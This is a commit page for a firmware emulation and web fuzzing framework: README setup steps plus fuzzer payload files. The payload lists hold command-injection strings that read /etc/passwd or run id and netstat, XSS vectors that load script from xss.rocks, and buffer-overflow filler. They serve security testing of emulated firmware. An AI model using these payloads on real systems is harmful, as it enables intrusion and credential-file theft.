Skip to content
This repository was archived by the owner on Mar 4, 2025. It is now read-only.

Commit 31e258c

Browse files
prashastprashast
committed
Update
1 parent 439b905 commit 31e258c

25 files changed

+4925
-4
lines changed

‎README.md

+47-3
Original file line numberDiff line numberDiff line change
@@ -23,12 +23,56 @@ you can provide a filesystem extracted using binwalk as well but I didn't test w
2323
## Firmware Emulation
2424

2525
- Put the extracted filesystem from the previous phase (in the form of a .tgz file) into a folder name
26-
`$IMAGE_DIR`. (Note that `IMAGE_DIR` can be named anything)
26+
`$IMAGE_DIR`. (Note that `IMAGE_DIR` can be named anything
2727

28-
- Run `./run_batch_fs.sh $IMAGE_DIR
28+
- Run `./run_batch_fs.sh $IMAGE_DIR. Note that $IMAGE_DIR should have a succeeding backslash when being passed to this script
2929

30-
- If a succcessful emulation for the firmware image is created, it would be placed in
30+
- If a succcessful emulation for the firmware image is created, it would be placed in $HOME_DIR/final/scratch_ffs`
3131

32+
- To test the emulation, go to the newly created folder and run `sudo ./run.sh`.
33+
34+
## Fuzzing
35+
36+
Before running, the fuzzer certain setup needs to be carried out.
37+
38+
### Fuzzer setup
39+
40+
```
41+
sudo apt-get install python-pip python-dev
42+
libffi-dev libssl-dev libxml2-dev
43+
libxslt1-dev libjpeg8-dev zlib1g-dev g++
44+
45+
sudo pip install "mitmproxy==0.18.2"
46+
sudo pip install "numpy"
47+
sudo pip install "selenium==3.4.3"
48+
49+
# Install mitmdump v0.18.2
50+
51+
# Install geckodriver(v0.18.0) and put it in `/usr/local/bin`
52+
```
53+
54+
### Create memory snapshot
55+
56+
Before running the firmware image for fuzzing, we create a memory snapshot to
57+
revert to in case the firmware reaches an inconsistent state during fuzzing
58+
You can use the following instructions to do so:
59+
```
60+
- Once the emulation reaches the stable state, run the following commands to
61+
save snapshot of the stable state
62+
- `ctrl-a and then c` to get into QEMU monitor mode
63+
- `savevm 1` to save the stable snapshot of the image
64+
65+
- Exit the emulation
66+
```
67+
68+
### Run the fuzzer
69+
70+
- Fix the `FUZZER_ROOT_DIR` path in `env_fuzzer.py`
71+
- Run the selenium backend: `java -jar selenium-server-standalone-3.4.0.jar`
72+
- Run the proxy server using the IP address where the firmware is exposing the web API. You can find this looking at the `run.sh` script that is generated for the emulated firmware
73+
- You can run a specific attack module like: `python fuzzer.py
74+
75+
###
3276
Cross compiling kernel [1]
3377
----------------------------
3478

‎framework/fuzzer/data/fuzzer_op/credentials.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
user
2+
user

‎framework/fuzzer/data/fuzzer_op/exploits/ci.txt

+67
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
<!--#exec cmd="/test"-->
2+
/index.html|/test|
3+
;/test;
4+
;/test
5+
;netstat -a;
6+
;/test;
7+
|/test
8+
|/test
9+
|/test|
10+
|/test|
11+
||/test|
12+
|/test;
13+
||/test;
14+
;/test|
15+
;|/test|
16+
\n/bin/ls -al\n
17+
\n/test\n
18+
\n/test\n
19+
\n/test;
20+
\n/test;
21+
\n/test|
22+
\n/test|
23+
;/test\n
24+
;/test\n
25+
|/test\n
26+
|n/test\n
27+
`/test`
28+
`/test`
29+
a);/test
30+
a;/test
31+
a);/test;
32+
a;/test;
33+
a);/test|
34+
a;/test|
35+
a)|/test
36+
a|/test
37+
a)|/test;
38+
a|/test
39+
|/bin/ls -al
40+
a);/test
41+
a;/test
42+
a);/test;
43+
a;/test;
44+
a);/test|
45+
a;/test|
46+
a)|/test
47+
a|/test
48+
a)|/test;
49+
a|/test
50+
;system('cat%20/etc/passwd')
51+
;system('/test')
52+
;system('/test')
53+
%0Acat%20/etc/passwd
54+
%0A/test
55+
%0A/test
56+
%0A/test%0A
57+
%0A/test%0A
58+
& ping -i 30 127.0.0.1 &
59+
& ping -n 30 127.0.0.1 &
60+
%0a ping -i 30 127.0.0.1 %0a
61+
`ping 127.0.0.1`
62+
| /test
63+
& /test
64+
; /test
65+
%0a /test %0a
66+
`/test`
67+
$;/test

‎framework/fuzzer/data/fuzzer_op/exploits/combine.txt

+146
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
{}
2+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3+
<!--#exec cmd="/test"-->
4+
/index.html|/test|
5+
;/test;
6+
;/test
7+
;netstat -a;
8+
;/test;
9+
|/test
10+
|/test
11+
|/test|
12+
|/test|
13+
||/test|
14+
|/test;
15+
||/test;
16+
;/test|
17+
;|/test|
18+
\n/bin/ls -al\n
19+
\n/test\n
20+
\n/test\n
21+
\n/test;
22+
\n/test;
23+
\n/test|
24+
\n/test|
25+
;/test\n
26+
;/test\n
27+
|/test\n
28+
|n/test\n
29+
`/test`
30+
`/test`
31+
a);/test
32+
a;/test
33+
a);/test;
34+
a;/test;
35+
a);/test|
36+
a;/test|
37+
a)|/test
38+
a|/test
39+
a)|/test;
40+
a|/test
41+
|/bin/ls -al
42+
a);/test
43+
a;/test
44+
a);/test;
45+
a;/test;
46+
a);/test|
47+
a;/test|
48+
a)|/test
49+
a|/test
50+
a)|/test;
51+
a|/test
52+
;system('cat%20/etc/passwd')
53+
;system('/test')
54+
;system('/test')
55+
%0Acat%20/etc/passwd
56+
%0A/test
57+
%0A/test
58+
%0A/test%0A
59+
%0A/test%0A
60+
& ping -i 30 127.0.0.1 &
61+
& ping -n 30 127.0.0.1 &
62+
%0a ping -i 30 127.0.0.1 %0a
63+
`ping 127.0.0.1`
64+
| /test
65+
& /test
66+
; /test
67+
%0a /test %0a
68+
`/test`
69+
$;/test
70+
<SCRIPT>alert('XSS');</SCRIPT>
71+
</script><script>alert('XSS');</script><script>
72+
'';!--"<XSS>=&{()}
73+
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
74+
<IMG SRC="javascript:alert('XSS');">
75+
<IMG SRC=javascript:alert('XSS')>
76+
<IMG SRC=JaVaScRiPt:alert('XSS')>
77+
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
78+
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
79+
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
80+
SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
81+
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
82+
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
83+
<IMG SRC="jav ascript:alert('XSS');">
84+
<IMG SRC="jav&#x09;ascript:alert('XSS');">
85+
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
86+
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
87+
<IMG SRC=" &#14; javascript:alert('XSS');">
88+
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
89+
<IMG SRC=java%00script:alert(\"XSS\")>
90+
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
91+
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
92+
<SCRIPT SRC=http://xss.rocks/xss.js?<B>
93+
<IMG SRC="javascript:alert('XSS')"
94+
<SCRIPT>a=/XSS/
95+
\";alert('XSS');//
96+
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
97+
<BODY BACKGROUND="javascript:alert('XSS')">
98+
<BODY ONLOAD=alert('XSS')>
99+
<IMG DYNSRC="javascript:alert('XSS')">
100+
<IMG LOWSRC="javascript:alert('XSS')">
101+
<BGSOUND SRC="javascript:alert('XSS');">
102+
<BR SIZE="&{alert('XSS')}">
103+
<LAYER SRC="http://xss.rocks/scriptlet.html"></LAYER>
104+
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
105+
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
106+
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
107+
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
108+
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
109+
<IMG SRC='vbscript:msgbox("XSS")'>
110+
<IMG SRC="mocha:[code]">
111+
<IMG SRC="livescript:[code]">
112+
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
113+
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
114+
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
115+
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
116+
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
117+
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
118+
<TABLE BACKGROUND="javascript:alert('XSS')">
119+
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
120+
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
121+
<DIV STYLE="width: expression(alert('XSS'));">
122+
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
123+
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
124+
<XSS STYLE="xss:expression(alert('XSS'))">
125+
exp/*<XSS STYLE='no\xss:noxss("*//*");
126+
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
127+
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
128+
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
129+
<BASE HREF="javascript:alert('XSS');//">
130+
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
131+
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
132+
getURL("javascript:alert('XSS')")
133+
a="get";
134+
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
135+
<XML SRC="http:/xss.rocks/xsstest.xml" ID=I></XML>
136+
<HTML><BODY>
137+
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
138+
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.rocks/xss.js></SCRIPT>'"-->
139+
<? echo('<SCR)';
140+
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
141+
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
142+
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>
143+
<SCRIPT a=">" '' SRC="http://xss.rocks/xss.js"></SCRIPT>
144+
<SCRIPT "a='>'" SRC="http://xss.rocks/xss.js"></SCRIPT>
145+
<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>
146+
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="xss.rocks/xss.js"></SCRIPT>

‎framework/fuzzer/data/fuzzer_op/exploits/command-execution-unix_old.txt

+68
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
<!--#exec cmd="/usr/bin/id"-->
2+
<!--#exec cmd="id"-->
3+
/index.html|id|
4+
;id;
5+
;id
6+
;netstat -a;
7+
;id;
8+
|id
9+
|/usr/bin/id
10+
|id|
11+
|/usr/bin/id|
12+
||/usr/bin/id|
13+
|id;
14+
||/usr/bin/id;
15+
;id|
16+
;|/usr/bin/id|
17+
\n/bin/ls -al\n
18+
\n/usr/bin/id\n
19+
\nid\n
20+
\n/usr/bin/id;
21+
\nid;
22+
\n/usr/bin/id|
23+
\nid|
24+
;/usr/bin/id\n
25+
;id\n
26+
|usr/bin/id\n
27+
|nid\n
28+
`id`
29+
`/usr/bin/id`
30+
a);id
31+
a;id
32+
a);id;
33+
a;id;
34+
a);id|
35+
a;id|
36+
a)|id
37+
a|id
38+
a)|id;
39+
a|id
40+
|/bin/ls -al
41+
a);/usr/bin/id
42+
a;/usr/bin/id
43+
a);/usr/bin/id;
44+
a;/usr/bin/id;
45+
a);/usr/bin/id|
46+
a;/usr/bin/id|
47+
a)|/usr/bin/id
48+
a|/usr/bin/id
49+
a)|/usr/bin/id;
50+
a|/usr/bin/id
51+
;system('cat%20/etc/passwd')
52+
;system('id')
53+
;system('/usr/bin/id')
54+
%0Acat%20/etc/passwd
55+
%0A/usr/bin/id
56+
%0Aid
57+
%0A/usr/bin/id%0A
58+
%0Aid%0A
59+
& ping -i 30 127.0.0.1 &
60+
& ping -n 30 127.0.0.1 &
61+
%0a ping -i 30 127.0.0.1 %0a
62+
`ping 127.0.0.1`
63+
| id
64+
& id
65+
; id
66+
%0a id %0a
67+
`id`
68+
$;/usr/bin/id

‎framework/fuzzer/data/fuzzer_op/exploits/null_deref.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
##

‎framework/fuzzer/data/fuzzer_op/exploits/overflow.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA